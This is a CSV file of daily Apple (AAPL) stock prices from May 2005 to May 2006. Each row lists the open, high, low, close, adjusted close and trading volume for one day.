-2005-05-02,5.172857284545898,5.235714435577393,5.145714282989502,5.204285621643066,4.528253078460693,116480000.0,AAPL
-2005-05-03,5.199999809265137,5.248571395874023,5.1471428871154785,5.172857284545898,4.500907897949219,124184900.0,AAPL
-2005-05-04,5.158571243286133,5.314285755157471,5.157142639160156,5.307142734527588,4.61775016784668,112044100.0,AAPL
-2005-05-05,5.3214287757873535,5.324285507202148,5.210000038146973,5.239999771118164,4.559330940246582,96841500.0,AAPL
-2005-05-06,5.269999980926514,5.332857131958008,5.255714416503906,5.320000171661377,4.628937721252441,81561900.0,AAPL
-2005-05-09,5.325714111328125,5.349999904632568,5.25,5.281428337097168,4.595376491546631,88923800.0,AAPL
-2005-05-10,5.25,5.3214287757873535,5.190000057220459,5.20285701751709,4.527010917663574,110065900.0,AAPL
-2005-05-11,5.028571605682373,5.095714092254639,4.730000019073486,5.0871429443359375,4.426327228546143,510495300.0,AAPL
-2005-05-12,5.059999942779541,5.084285736083984,4.857142925262451,4.875714302062988,4.242363929748535,242560500.0,AAPL
-2005-05-13,4.885714054107666,5.0328569412231445,4.867142677307129,4.9671430587768555,4.321915626525879,175678300.0,AAPL
-2005-05-16,4.937142848968506,5.099999904632568,4.932857036590576,5.078571319580078,4.418870449066162,118573700.0,AAPL
-2005-05-17,5.019999980926514,5.065714359283447,4.934285640716553,5.05142879486084,4.395253658294678,147086100.0,AAPL
-2005-05-18,5.064285755157471,5.365714073181152,4.998571395874023,5.119999885559082,4.4549174308776855,159180700.0,AAPL
-2005-05-19,5.111428737640381,5.382857322692871,5.111428737640381,5.364285945892334,4.6674699783325195,198290400.0,AAPL
-2005-05-20,5.3214287757873535,5.378571510314941,5.312857151031494,5.364285945892334,4.6674699783325195,113162700.0,AAPL
-2005-05-23,5.407142639160156,5.699999809265137,5.407142639160156,5.679999828338623,4.942171573638916,260643600.0,AAPL
-2005-05-24,5.635714054107666,5.712857246398926,5.575714111328125,5.671428680419922,4.93471622467041,148365000.0,AAPL
-2005-05-25,5.642857074737549,5.7071428298950195,5.617142677307129,5.682857036590576,4.944659233093262,99001700.0,AAPL
-2005-05-26,5.705714225769043,5.848571300506592,5.705714225769043,5.820000171661377,5.063988208770752,131380200.0,AAPL
-2005-05-27,5.805714130401611,5.827142715454102,5.715714454650879,5.794285774230957,5.04161262512207,79002000.0,AAPL
-2005-05-31,5.8085713386535645,5.820000171661377,5.654285907745361,5.679999828338623,4.942171573638916,101051300.0,AAPL
-2005-06-01,5.69857120513916,5.82285737991333,5.694285869598389,5.757143020629883,5.00929594039917,113453200.0,AAPL
-2005-06-02,5.721428394317627,5.760000228881836,5.657142639160156,5.71999979019165,4.97697639465332,93493400.0,AAPL
-2005-06-03,5.451428413391113,5.511428356170654,5.395714282989502,5.462857246398926,4.753237247467041,239217300.0,AAPL
-2005-06-06,5.475714206695557,5.518571376800537,5.365714073181152,5.417142868041992,4.713459491729736,202991600.0,AAPL
-2005-06-07,5.371428489685059,5.389999866485596,5.2071428298950195,5.21999979019165,4.541927337646484,186316200.0,AAPL
-2005-06-08,5.2328572273254395,5.3214287757873535,5.22428560256958,5.274285793304443,4.589160442352295,101001600.0,AAPL
-2005-06-09,5.285714149475098,5.420000076293945,5.260000228881836,5.378571510314941,4.6798996925354,97563900.0,AAPL
-2005-06-10,5.342857360839844,5.342857360839844,5.074285507202148,5.115714073181152,4.4511871337890625,169733200.0,AAPL
-2005-06-13,5.127142906188965,5.230000019073486,5.117142677307129,5.128571510314941,4.462374210357666,108943100.0,AAPL
-2005-06-14,5.1314287185668945,5.164285659790039,5.107142925262451,5.142857074737549,4.474804401397705,86961700.0,AAPL
-2005-06-15,5.2671427726745605,5.328571319580078,5.185714244842529,5.304285526275635,4.615262985229492,140835800.0,AAPL
-2005-06-16,5.312857151031494,5.440000057220459,5.260000228881836,5.425714492797852,4.720920085906982,136918600.0,AAPL
-2005-06-17,5.49571418762207,5.505714416503906,5.404285907745361,5.4728569984436035,4.76193904876709,149031400.0,AAPL
-2005-06-20,5.407142639160156,5.4414286613464355,5.349999904632568,5.372857093811035,4.674929141998291,80929100.0,AAPL
-2005-06-21,5.388571262359619,5.455714225769043,5.340000152587891,5.408571243286133,4.706002712249756,92631700.0,AAPL
-2005-06-22,5.465714454650879,5.514285564422607,5.44857120513916,5.507143020629883,4.791769981384277,106231300.0,AAPL
-2005-06-23,5.54714298248291,5.682857036590576,5.52142858505249,5.555714130401611,4.83403205871582,168563500.0,AAPL
-2005-06-24,5.584285736083984,5.588571548461914,5.382857322692871,5.394285678863525,4.693572521209717,102677400.0,AAPL
-2005-06-27,5.262856960296631,5.442857265472412,5.239999771118164,5.300000190734863,4.611534595489502,150042900.0,AAPL
-2005-06-28,5.355714321136475,5.369999885559082,5.309999942779541,5.329999923706055,4.637638092041016,87574900.0,AAPL
-2005-06-29,5.3185715675354,5.327142715454102,5.159999847412109,5.195714473724365,4.520795822143555,112089600.0,AAPL
-2005-06-30,5.230000019073486,5.3085713386535645,5.187142848968506,5.258571624755859,4.575488090515137,104597500.0,AAPL
-2005-07-01,5.261428356170654,5.281428337097168,5.184285640716553,5.214285850524902,4.5369553565979,62500200.0,AAPL
-2005-07-05,5.221428394317627,5.449999809265137,5.214285850524902,5.425714492797852,4.720920085906982,113567300.0,AAPL
-2005-07-06,5.387142658233643,5.451428413391113,5.314285755157471,5.341428756713867,4.647582530975342,98656600.0,AAPL
-2005-07-07,5.258571624755859,5.394285678863525,5.257143020629883,5.375714302062988,4.6774139404296875,95930800.0,AAPL
-2005-07-08,5.409999847412109,5.468571662902832,5.3528571128845215,5.464285850524902,4.754478931427002,72683800.0,AAPL
-2005-07-11,5.481428623199463,5.52142858505249,5.3971428871154785,5.442857265472412,4.735834121704102,97197100.0,AAPL
-2005-07-12,5.461428642272949,5.485714435577393,5.415714263916016,5.462857246398926,4.753237247467041,96759600.0,AAPL
-2005-07-13,5.46999979019165,5.5,5.414285659790039,5.47857141494751,4.766908645629883,171208800.0,AAPL
-2005-07-14,5.827142715454102,6.001428604125977,5.747142791748047,5.8214287757873535,5.065230846405029,524015100.0,AAPL
-2005-07-15,5.8528571128845215,5.938571453094482,5.78000020980835,5.935714244842529,5.164670944213867,171920700.0,AAPL
-2005-07-18,5.915714263916016,6.014285564422607,5.909999847412109,5.92714262008667,5.157212734222412,146574400.0,AAPL
-2005-07-19,5.9314284324646,6.175714492797852,5.867142677307129,6.170000076293945,5.368523120880127,167765500.0,AAPL
-2005-07-20,6.122857093811035,6.257143020629883,6.092857360839844,6.2328572273254395,5.423214912414551,113348900.0,AAPL
-2005-07-21,6.242856979370117,6.291428565979004,6.128571510314941,6.184285640716553,5.380951881408691,101066000.0,AAPL
-2005-07-22,6.205714225769043,6.285714149475098,6.19857120513916,6.285714149475098,5.469205856323242,75276600.0,AAPL
-2005-07-25,6.284285545349121,6.325714111328125,6.247142791748047,6.258571624755859,5.4455885887146,73656800.0,AAPL
-2005-07-26,6.287142753601074,6.30142879486084,6.194285869598389,6.2328572273254395,5.423214912414551,67148200.0,AAPL
-2005-07-27,6.261428356170654,6.295714378356934,6.095714092254639,6.284285545349121,5.467962265014648,70937300.0,AAPL
-2005-07-28,6.264285564422607,6.285714149475098,6.185714244842529,6.257143020629883,5.444345474243164,62827800.0,AAPL
-2005-07-29,6.2228569984436035,6.340000152587891,6.037142753601074,6.092857360839844,5.301400661468506,140520100.0,AAPL
-2005-08-01,6.081428527832031,6.154285907745361,6.011428356170654,6.107142925262451,5.313830852508545,78562400.0,AAPL
-2005-08-02,6.127142906188965,6.214285850524902,6.0871429443359375,6.170000076293945,5.368523120880127,74218900.0,AAPL
-2005-08-03,6.170000076293945,6.187142848968506,6.110000133514404,6.174285888671875,5.372251510620117,64580600.0,AAPL
-2005-08-04,6.127142906188965,6.142857074737549,6.041428565979004,6.101428508758545,5.308859348297119,67326000.0,AAPL
-2005-08-05,6.070000171661377,6.194285869598389,6.002857208251953,6.141428470611572,5.343662261962891,60482800.0,AAPL
-2005-08-08,6.142857074737549,6.1785712242126465,6.0871429443359375,6.092857360839844,5.301400661468506,44095800.0,AAPL
-2005-08-09,6.132857322692871,6.269999980926514,6.130000114440918,6.260000228881836,5.446831226348877,95209800.0,AAPL
-2005-08-10,6.285714149475098,6.341428756713867,6.187142848968506,6.197143077850342,5.392139911651611,90236300.0,AAPL
-2005-08-11,6.19857120513916,6.302856922149658,6.1785712242126465,6.285714149475098,5.469205856323242,67995900.0,AAPL
-2005-08-12,6.208571434020996,6.6028571128845215,6.194285869598389,6.585714340209961,5.730235576629639,229009200.0,AAPL
-2005-08-15,6.639999866485596,6.904285907745361,6.635714054107666,6.811428546905518,5.92663049697876,271681900.0,AAPL
-2005-08-16,6.769999980926514,6.785714149475098,6.601428508758545,6.607142925262451,5.748880386352539,134405600.0,AAPL
-2005-08-17,6.628571510314941,6.7771430015563965,6.624285697937012,6.735714435577393,5.860751628875732,124931100.0,AAPL
-2005-08-18,6.701428413391113,6.714285850524902,6.535714149475098,6.614285945892334,5.755096435546875,110639900.0,AAPL
-2005-08-19,6.611428737640381,6.671428680419922,6.538571357727051,6.54714298248291,5.6966753005981445,94142300.0,AAPL
-2005-08-22,6.592857360839844,6.6785712242126465,6.465714454650879,6.552856922149658,5.701647758483887,96933200.0,AAPL
-2005-08-23,6.550000190734863,6.585714340209961,6.47428560256958,6.534285545349121,5.685486793518066,73901100.0,AAPL
-2005-08-24,6.514285564422607,6.731428623199463,6.512856960296631,6.538571357727051,5.6892170906066895,143017700.0,AAPL
-2005-08-25,6.588571548461914,6.641428470611572,6.544285774230957,6.579999923706055,5.725265026092529,69063400.0,AAPL
-2005-08-26,6.588571548461914,6.619999885559082,6.480000019073486,6.534285545349121,5.685486793518066,65264500.0,AAPL
-2005-08-29,6.4671430587768555,6.575714111328125,6.465714454650879,6.548571586608887,5.697918891906738,64073800.0,AAPL
-2005-08-30,6.570000171661377,6.684285640716553,6.559999942779541,6.652857303619385,5.788655757904053,129690400.0,AAPL
-2005-08-31,6.694285869598389,6.718571662902832,6.610000133514404,6.69857120513916,5.828433036804199,100739100.0,AAPL
-2005-09-01,6.714285850524902,6.738571643829346,6.584285736083984,6.608571529388428,5.750123977661133,89091800.0,AAPL
-2005-09-02,6.614285945892334,6.685714244842529,6.588571548461914,6.6028571128845215,5.745152950286865,55594700.0,AAPL
-2005-09-06,6.671428680419922,6.9828572273254395,6.650000095367432,6.971428394317627,6.0658464431762695,204654800.0,AAPL
-2005-09-07,7.007143020629883,7.057142734527588,6.845714092254639,6.954285621643066,6.050930023193359,240768500.0,AAPL
-2005-09-08,7.050000190734863,7.159999847412109,7.019999980926514,7.111428737640381,6.18765926361084,175660100.0,AAPL
-2005-09-09,7.152857303619385,7.335714340209961,7.112857341766357,7.329999923706055,6.377840042114258,153910400.0,AAPL
-2005-09-12,7.300000190734863,7.375714302062988,7.225714206695557,7.342857360839844,6.3890275955200195,113199100.0,AAPL
-2005-09-13,7.288571357727051,7.327142715454102,7.188571453094482,7.260000228881836,6.316932678222656,123221000.0,AAPL
-2005-09-14,7.294285774230957,7.312857151031494,7.065714359283447,7.0871429443359375,6.166530132293701,118606600.0,AAPL
-2005-09-15,7.142857074737549,7.168571472167969,7.04714298248291,7.124285697937012,6.198847770690918,103789000.0,AAPL
-2005-09-16,7.175714492797852,7.315714359283447,7.135714054107666,7.315714359283447,6.365409851074219,147751100.0,AAPL
-2005-09-19,7.2928571701049805,7.555714130401611,7.2928571701049805,7.519999980926514,6.543158531188965,195932800.0,AAPL
-2005-09-20,7.570000171661377,7.687142848968506,7.559999942779541,7.598571300506592,6.611523151397705,204957200.0,AAPL
-2005-09-21,7.565714359283447,7.578571319580078,7.408571243286133,7.444285869598389,6.477279186248779,108686900.0,AAPL
-2005-09-22,7.411428451538086,7.49571418762207,7.331428527832031,7.414285659790039,6.451176643371582,115931900.0,AAPL
-2005-09-23,7.442857265472412,7.642857074737549,7.405714511871338,7.599999904632568,6.612767696380615,139614300.0,AAPL
-2005-09-26,7.718571662902832,7.794285774230957,7.617142677307129,7.6914286613464355,6.692319393157959,136640700.0,AAPL
-2005-09-27,7.70285701751709,7.748571395874023,7.632857322692871,7.634285926818848,6.642598628997803,85425900.0,AAPL
-2005-09-28,7.581428527832031,7.5871429443359375,7.227142810821533,7.29714298248291,6.349250793457031,281386000.0,AAPL
-2005-09-29,7.3185715675354,7.512856960296631,7.258571624755859,7.477142810821533,6.505869388580322,159211500.0,AAPL
-2005-09-30,7.475714206695557,7.664285659790039,7.411428451538086,7.658571243286133,6.663730621337891,132908300.0,AAPL
-2005-10-03,7.737143039703369,7.791428565979004,7.668571472167969,7.7771430015563965,6.766899585723877,126888300.0,AAPL
-2005-10-04,7.849999904632568,7.907142639160156,7.6628570556640625,7.6785712242126465,6.681131362915039,134864800.0,AAPL
-2005-10-05,7.761428356170654,7.765714168548584,7.535714149475098,7.539999961853027,6.560560703277588,152692400.0,AAPL
-2005-10-06,7.599999904632568,7.641428470611572,7.2671427726745605,7.385714054107666,6.426315784454346,189384300.0,AAPL
-2005-10-07,7.388571262359619,7.418571472167969,7.221428394317627,7.328571319580078,6.376596927642822,169470700.0,AAPL
-2005-10-10,7.394285678863525,7.415714263916016,7.182857036590576,7.195714473724365,6.260997772216797,126876400.0,AAPL
-2005-10-11,7.3185715675354,7.409999847412109,7.199999809265137,7.369999885559082,6.412642955780029,306471200.0,AAPL
-2005-10-12,6.949999809265137,7.185714244842529,6.838571548461914,7.035714149475098,6.1217827796936035,674371600.0,AAPL
-2005-10-13,7.062857151031494,7.7071428298950195,7.038571357727051,7.67714262008667,6.679889678955078,466393900.0,AAPL
-2005-10-14,7.718571662902832,7.764285564422607,7.541428565979004,7.714285850524902,6.712207794189453,258888000.0,AAPL
-2005-10-17,7.711428642272949,7.747142791748047,7.52571439743042,7.634285926818848,6.642598628997803,154208600.0,AAPL
-2005-10-18,7.607142925262451,7.7071428298950195,7.4571428298950195,7.458571434020996,6.489709854125977,152397000.0,AAPL
-2005-10-19,7.438571453094482,7.851428508758545,7.315714359283447,7.848571300506592,6.829049110412598,252170800.0,AAPL
-2005-10-20,7.781428337097168,8.071428298950195,7.764285564422607,8.020000457763672,6.978209495544434,339440500.0,AAPL
-2005-10-21,8.119999885559082,8.140000343322754,7.908571243286133,7.951428413391113,6.918544769287109,199181500.0,AAPL
-2005-10-24,7.892857074737549,8.1128568649292,7.869999885559082,8.1128568649292,7.059004306793213,152438300.0,AAPL
-2005-10-25,8.057143211364746,8.121428489685059,7.955714225769043,8.014286041259766,6.97323751449585,116281900.0,AAPL
-2005-10-26,8.039999961853027,8.222857475280762,7.988571643829346,8.14714241027832,7.0888352394104,157898300.0,AAPL
-2005-10-27,8.14142894744873,8.144286155700684,7.915714263916016,7.915714263916016,6.8874711990356445,102885300.0,AAPL
-2005-10-28,8.005714416503906,8.061429023742676,7.738571643829346,7.781428337097168,6.770627498626709,192446800.0,AAPL
-2005-10-31,7.885714054107666,8.282856941223145,7.8214287757873535,8.227143287658691,7.158445358276367,235211200.0,AAPL
-2005-11-01,8.177143096923828,8.30571460723877,8.124285697937012,8.214285850524902,7.1472578048706055,187421500.0,AAPL
-2005-11-02,8.24571418762207,8.571428298950195,8.228571891784668,8.564285278320312,7.451793670654297,214265100.0,AAPL
-2005-11-03,8.60857105255127,8.902856826782227,8.581428527832031,8.835714340209961,7.687963008880615,221095700.0,AAPL
-2005-11-04,8.621428489685059,8.748571395874023,8.517143249511719,8.735713958740234,7.600953578948975,219508800.0,AAPL
-2005-11-07,8.692856788635254,8.8100004196167,8.591428756713867,8.60428524017334,7.486597537994385,159707800.0,AAPL
-2005-11-08,8.564285278320312,8.625714302062988,8.442856788635254,8.557143211364746,7.445578575134277,118441400.0,AAPL
-2005-11-09,8.571428298950195,8.744285583496094,8.571428298950195,8.587142944335938,7.471682071685791,138232500.0,AAPL
-2005-11-10,8.662857055664062,8.742856979370117,8.430000305175781,8.739999771118164,7.604682922363281,166336100.0,AAPL
-2005-11-11,8.791428565979004,8.872857093811035,8.762857437133789,8.791428565979004,7.649428367614746,106362200.0,AAPL
-2005-11-14,8.791428565979004,8.85428524017334,8.701428413391113,8.778571128845215,7.638243198394775,92483300.0,AAPL
-2005-11-15,8.800000190734863,9.011428833007812,8.779999732971191,8.89714241027832,7.741410732269287,134210300.0,AAPL
-2005-11-16,9.021428108215332,9.294285774230957,9.012857437133789,9.278571128845215,8.073295593261719,196128800.0,AAPL
-2005-11-17,9.369999885559082,9.411428451538086,9.178571701049805,9.217143058776855,8.019844055175781,169051400.0,AAPL
-2005-11-18,9.329999923706055,9.347143173217773,9.195713996887207,9.222857475280762,8.024816513061523,131240200.0,AAPL
-2005-11-21,9.260000228881836,9.312856674194336,9.10285758972168,9.279999732971191,8.074535369873047,127927800.0,AAPL
-2005-11-22,9.262857437133789,9.537142753601074,9.217143058776855,9.502857208251953,8.26844596862793,135070600.0,AAPL
-2005-11-23,9.554286003112793,9.71142864227295,9.527142524719238,9.587142944335938,8.341780662536621,121463300.0,AAPL
-2005-11-25,9.665714263916016,9.934286117553711,9.642857551574707,9.90571403503418,8.618971824645996,98753200.0,AAPL
-2005-11-28,10.10285758972168,10.152856826782227,9.867142677307129,9.951428413391113,8.658744812011719,254629900.0,AAPL
-2005-11-29,9.998571395874023,10.04285717010498,9.621428489685059,9.728571891784668,8.464839935302734,222858300.0,AAPL
-2005-11-30,9.775713920593262,9.835714340209961,9.64571475982666,9.688570976257324,8.430034637451172,148918700.0,AAPL
-2005-12-01,9.850000381469727,10.247142791748047,9.829999923706055,10.228571891784668,8.899890899658203,203223300.0,AAPL
-2005-12-02,10.324285507202148,10.39142894744873,10.100000381469727,10.375714302062988,9.02791976928711,223940500.0,AAPL
-2005-12-05,10.278571128845215,10.361428260803223,10.212857246398926,10.260000228881836,8.92723560333252,145917800.0,AAPL
-2005-12-06,10.561429023742676,10.6899995803833,10.478571891784668,10.578571319580078,9.204424858093262,214257400.0,AAPL
-2005-12-07,10.60428524017334,10.6371431350708,10.445713996887207,10.564285278320312,9.191994667053223,169866200.0,AAPL
-2005-12-08,10.45714282989502,10.595714569091797,10.371428489685059,10.582857131958008,9.208155632019043,197619800.0,AAPL
-2005-12-09,10.601428985595703,10.65571403503418,10.478571891784668,10.618571281433105,9.239229202270508,138850600.0,AAPL
-2005-12-12,10.695713996887207,10.764286041259766,10.65142822265625,10.701428413391113,9.311321258544922,131248600.0,AAPL
-2005-12-13,10.692856788635254,10.779999732971191,10.601428985595703,10.71142864227295,9.320021629333496,123454100.0,AAPL
-2005-12-14,10.361428260803223,10.471428871154785,10.03857135772705,10.287142753601074,8.950854301452637,362679100.0,AAPL
-2005-12-15,10.382857322692871,10.408571243286133,10.192856788635254,10.311429023742676,8.971982955932617,140290500.0,AAPL
-2005-12-16,10.30571460723877,10.328571319580078,10.15142822265625,10.158571243286133,8.838980674743652,167792800.0,AAPL
-2005-12-19,10.158571243286133,10.371428489685059,10.148571014404297,10.197142601013184,8.87254524230957,132323800.0,AAPL
-2005-12-20,10.232856750488281,10.34000015258789,10.15999984741211,10.30142879486084,8.96328067779541,119777000.0,AAPL
-2005-12-21,10.371428489685059,10.515714645385742,10.3628568649292,10.5,9.13606071472168,118934200.0,AAPL
-2005-12-22,10.558571815490723,10.64142894744873,10.514286041259766,10.574285507202148,9.200697898864746,92652700.0,AAPL
-2005-12-23,10.595714569091797,10.60857105255127,10.471428871154785,10.478571891784668,9.117415428161621,57464400.0,AAPL
-2005-12-27,10.571428298950195,10.739999771118164,10.564285278320312,10.60428524017334,9.226799011230469,147647500.0,AAPL
-2005-12-28,10.638571739196777,10.680000305175781,10.474286079406738,10.510000228881836,9.144760131835938,99528800.0,AAPL
-2005-12-29,10.539999961853027,10.545714378356934,10.20285701751709,10.20714282989502,8.881246566772461,122506300.0,AAPL
-2005-12-30,10.130000114440918,10.347143173217773,10.048571586608887,10.270000457763672,8.935935020446777,156065700.0,AAPL
-2006-01-03,10.34000015258789,10.678571701049805,10.321428298950195,10.678571701049805,9.291433334350586,201808600.0,AAPL
-2006-01-04,10.732856750488281,10.85428524017334,10.642857551574707,10.710000038146973,9.318782806396484,154900900.0,AAPL
-2006-01-05,10.6899995803833,10.699999809265137,10.535714149475098,10.625714302062988,9.245445251464844,112355600.0,AAPL
-2006-01-06,10.75,10.95714282989502,10.649999618530273,10.899999618530273,9.484099388122559,176114400.0,AAPL
-2006-01-09,10.96142864227295,11.028571128845215,10.819999694824219,10.864285469055176,9.453024864196777,168760200.0,AAPL
-2006-01-10,10.892857551574707,11.69857120513916,10.832857131958008,11.55142879486084,10.050908088684082,569967300.0,AAPL
-2006-01-11,11.977143287658691,12.114285469055176,11.798571586608887,11.985713958740234,10.428781509399414,373448600.0,AAPL
-2006-01-12,12.138571739196777,12.342857360839844,11.945713996887207,12.041428565979004,10.477258682250977,320202400.0,AAPL
-2006-01-13,12.14142894744873,12.287142753601074,12.085714340209961,12.227143287658691,10.638847351074219,194076400.0,AAPL
-2006-01-17,12.242856979370117,12.34000015258789,11.981428146362305,12.101428985595703,10.529465675354004,208905900.0,AAPL
-2006-01-18,11.868571281433105,12.007143020629883,11.692856788635254,11.784285545349121,10.253519058227539,300159300.0,AAPL
-2006-01-19,11.607142448425293,11.665714263916016,11.248571395874023,11.291428565979004,9.82468318939209,423962000.0,AAPL
-2006-01-20,11.325714111328125,11.434286117553711,10.832857131958008,10.869999885559082,9.45799732208252,283689700.0,AAPL
-2006-01-23,10.871428489685059,11.365714073181152,10.857142448425293,11.095714569091797,9.654391288757324,264932500.0,AAPL
-2006-01-24,11.251428604125977,11.345714569091797,10.824285507202148,10.8628568649292,9.451781272888184,285563600.0,AAPL
-2006-01-25,11.05571460723877,11.071428298950195,10.464285850524902,10.600000381469727,9.223069190979004,318946600.0,AAPL
-2006-01-26,10.64714241027832,10.775713920593262,10.275713920593262,10.332857131958008,8.990631103515625,295346800.0,AAPL
-2006-01-27,10.421428680419922,10.514286041259766,10.157142639160156,10.289999961853027,8.953338623046875,238466200.0,AAPL
-2006-01-30,10.167142868041992,10.942856788635254,10.124285697937012,10.714285850524902,9.322511672973633,349600300.0,AAPL
-2006-01-31,10.785714149475098,10.90571403503418,10.535714149475098,10.787142753601074,9.385905265808105,228385500.0,AAPL
-2006-02-01,10.70714282989502,10.922857284545898,10.662857055664062,10.774285316467285,9.37471866607666,130296600.0,AAPL
-2006-02-02,10.728571891784668,10.765714645385742,10.29285717010498,10.300000190734863,8.96203899383545,176830500.0,AAPL
-2006-02-03,10.319999694824219,10.398571014404297,10.148571014404297,10.264286041259766,8.9309663772583,173030900.0,AAPL
-2006-02-06,10.28857135772705,10.35857105255127,9.534285545349121,9.614285469055176,8.365398406982422,412941900.0,AAPL
-2006-02-07,9.752857208251953,9.925714492797852,9.525713920593262,9.657142639160156,8.402687072753906,347207700.0,AAPL
-2006-02-08,9.784285545349121,9.868571281433105,9.428571701049805,9.829999923706055,8.553092956542969,238278600.0,AAPL
-2006-02-09,9.871428489685059,9.890000343322754,9.218571662902832,9.278571128845215,8.073295593261719,287441000.0,AAPL
-2006-02-10,9.311429023742676,9.667142868041992,8.985713958740234,9.615714073181152,8.3666410446167,440119400.0,AAPL
-2006-02-13,9.518571853637695,9.535714149475098,9.234285354614258,9.244285583496094,8.043461799621582,220874500.0,AAPL
-2006-02-14,9.300000190734863,9.728571891784668,9.285714149475098,9.662857055664062,8.407660484313965,290234700.0,AAPL
-2006-02-15,9.59428596496582,9.945713996887207,9.535714149475098,9.888571739196777,8.60405445098877,289942800.0,AAPL
-2006-02-16,9.987142562866211,10.144286155700684,9.925714492797852,10.081428527832031,8.771860122680664,237043800.0,AAPL
-2006-02-17,10.04285717010498,10.127142906188965,9.94428539276123,10.041428565979004,8.73705768585205,143999800.0,AAPL
-2006-02-21,10.084285736083984,10.114285469055176,9.811429023742676,9.868571281433105,8.586653709411621,194901700.0,AAPL
-2006-02-22,9.857142448425293,10.238571166992188,9.714285850524902,10.188570976257324,8.865084648132324,244559700.0,AAPL
-2006-02-23,10.255714416503906,10.428571701049805,10.204285621643066,10.25,8.918536186218262,214229400.0,AAPL
-2006-02-24,10.30571460723877,10.412857055664062,10.171428680419922,10.208571434020996,8.882491111755371,133686000.0,AAPL
-2006-02-27,10.284285545349121,10.302857398986816,10.092857360839844,10.14142894744873,8.824066162109375,197810200.0,AAPL
-2006-02-28,10.225714683532715,10.342857360839844,9.728571891784668,9.784285545349121,8.513318061828613,316745100.0,AAPL
-2006-03-01,9.834285736083984,9.927143096923828,9.717143058776855,9.871428489685059,8.589139938354492,190954400.0,AAPL
-2006-03-02,9.855713844299316,9.998571395874023,9.8100004196167,9.94428539276123,8.652531623840332,156318400.0,AAPL
-2006-03-03,9.914285659790039,9.987142562866211,9.64714241027832,9.674285888671875,8.417603492736816,184417100.0,AAPL
-2006-03-06,9.670000076293945,9.674285888671875,9.277142524719238,9.35428524017334,8.139174461364746,228166400.0,AAPL
-2006-03-07,9.394286155700684,9.557143211364746,9.29714298248291,9.472857475280762,8.242341041564941,218219400.0,AAPL
-2006-03-08,9.470000267028809,9.600000381469727,9.335714340209961,9.380000114440918,8.161544799804688,163312800.0,AAPL
-2006-03-09,9.425714492797852,9.49571418762207,9.115714073181152,9.132857322692871,7.946506977081299,199826200.0,AAPL
-2006-03-10,9.149999618530273,9.212857246398926,8.921428680419922,9.027142524719238,7.854528427124023,260785700.0,AAPL
-2006-03-13,9.29285717010498,9.468571662902832,9.255714416503906,9.382857322692871,8.164034843444824,215296900.0,AAPL
-2006-03-14,9.39571475982666,9.617142677307129,9.357142448425293,9.617142677307129,8.367886543273926,160505100.0,AAPL
-2006-03-15,9.672857284545898,9.720000267028809,9.359999656677246,9.46142864227295,8.232397079467773,222999000.0,AAPL
-2006-03-16,9.550000190734863,9.557143211364746,9.185714721679688,9.187143325805664,7.9937424659729,187409600.0,AAPL
-2006-03-17,9.25,9.3628568649292,9.158571243286133,9.237142562866211,8.037246704101562,203010500.0,AAPL
-2006-03-20,9.317142486572266,9.351428985595703,9.124285697937012,9.14142894744873,7.953964710235596,151360300.0,AAPL
-2006-03-21,8.829999923706055,9.191428184509277,8.770000457763672,8.829999923706055,7.682991027832031,336341600.0,AAPL
-2006-03-22,8.880000114440918,9.035714149475098,8.752857208251953,8.8100004196167,7.665590286254883,336473900.0,AAPL
-2006-03-23,8.831428527832031,8.842857360839844,8.515714645385742,8.59428596496582,7.4778971672058105,356956600.0,AAPL
-2006-03-24,8.607142448425293,8.705714225769043,8.432857513427734,8.565713882446289,7.453035354614258,267995000.0,AAPL
-2006-03-27,8.621428489685059,8.768571853637695,8.485713958740234,8.501428604125977,7.397101402282715,277018000.0,AAPL
-2006-03-28,8.518571853637695,8.591428756713867,8.321428298950195,8.3871431350708,7.297662258148193,342580700.0,AAPL
-2006-03-29,8.447142601013184,8.931428909301758,8.238571166992188,8.904285430908203,7.747629642486572,586708500.0,AAPL
-2006-03-30,8.974286079406738,9.04285717010498,8.789999961853027,8.964285850524902,7.799834251403809,347662700.0,AAPL
-2006-03-31,9.035714149475098,9.087142944335938,8.89142894744873,8.960000038146973,7.796104907989502,203839300.0,AAPL
-2006-04-03,9.095714569091797,9.15999984741211,8.94428539276123,8.949999809265137,7.7874040603637695,203947800.0,AAPL
-2006-04-04,8.871428489685059,8.888571739196777,8.721428871154785,8.738571166992188,7.60344123840332,232981000.0,AAPL
-2006-04-05,9.244285583496094,9.601428985595703,9.164285659790039,9.601428985595703,8.354212760925293,558352200.0,AAPL
-2006-04-06,9.757143020629883,10.29285717010498,9.742856979370117,10.177143096923828,8.855141639709473,665942200.0,AAPL
-2006-04-07,10.132857322692871,10.172857284545898,9.781428337097168,9.970000267028809,8.674903869628906,386309700.0,AAPL
-2006-04-10,10.041428565979004,10.132857322692871,9.778571128845215,9.8100004196167,8.53569221496582,225878800.0,AAPL
-2006-04-11,9.855713844299316,9.899999618530273,9.581428527832031,9.712857246398926,8.451165199279785,234829000.0,AAPL
-2006-04-12,9.715714454650879,9.738571166992188,9.471428871154785,9.529999732971191,8.292061805725098,184973600.0,AAPL
-2006-04-13,9.477143287658691,9.634285926818848,9.40142822265625,9.49571418762207,8.262228965759277,183669500.0,AAPL
-2006-04-17,9.501428604125977,9.548571586608887,9.192856788635254,9.25857162475586,8.055892944335938,180484500.0,AAPL
-2006-04-18,9.291428565979004,9.49571418762207,9.255714416503906,9.460000038146973,8.23115348815918,198711100.0,AAPL
-2006-04-19,9.545714378356934,9.571428298950195,9.35285758972168,9.378571510314941,8.160304069519043,271508300.0,AAPL
-2006-04-20,9.930000305175781,10.0,9.45714282989502,9.661428451538086,8.406417846679688,416745700.0,AAPL
-2006-04-21,9.74142837524414,9.80571460723877,9.49571418762207,9.577142715454102,8.333083152770996,197246700.0,AAPL
-2006-04-24,9.550000190734863,9.5600004196167,9.357142448425293,9.392857551574707,8.172735214233398,176757000.0,AAPL
-2006-04-25,9.422857284545898,9.512857437133789,9.365714073181152,9.45285701751709,8.224937438964844,132265700.0,AAPL
-2006-04-26,9.521428108215332,9.75428581237793,9.485713958740234,9.735713958740234,8.471053123474121,177721600.0,AAPL
-2006-04-27,9.675714492797852,9.979999542236328,9.621428489685059,9.908571243286133,8.621454238891602,211486800.0,AAPL
-2006-04-28,9.911428451538086,10.185714721679688,9.885714530944824,10.05571460723877,8.74948501586914,190009400.0,AAPL
-2006-05-01,10.109999656677246,10.220000267028809,9.880000114440918,9.942856788635254,8.651288986206055,187595100.0,AAPL
-2006-05-02,10.021428108215332,10.282856941223145,10.015714645385742,10.231428146362305,8.902374267578125,192915800.0,AAPL
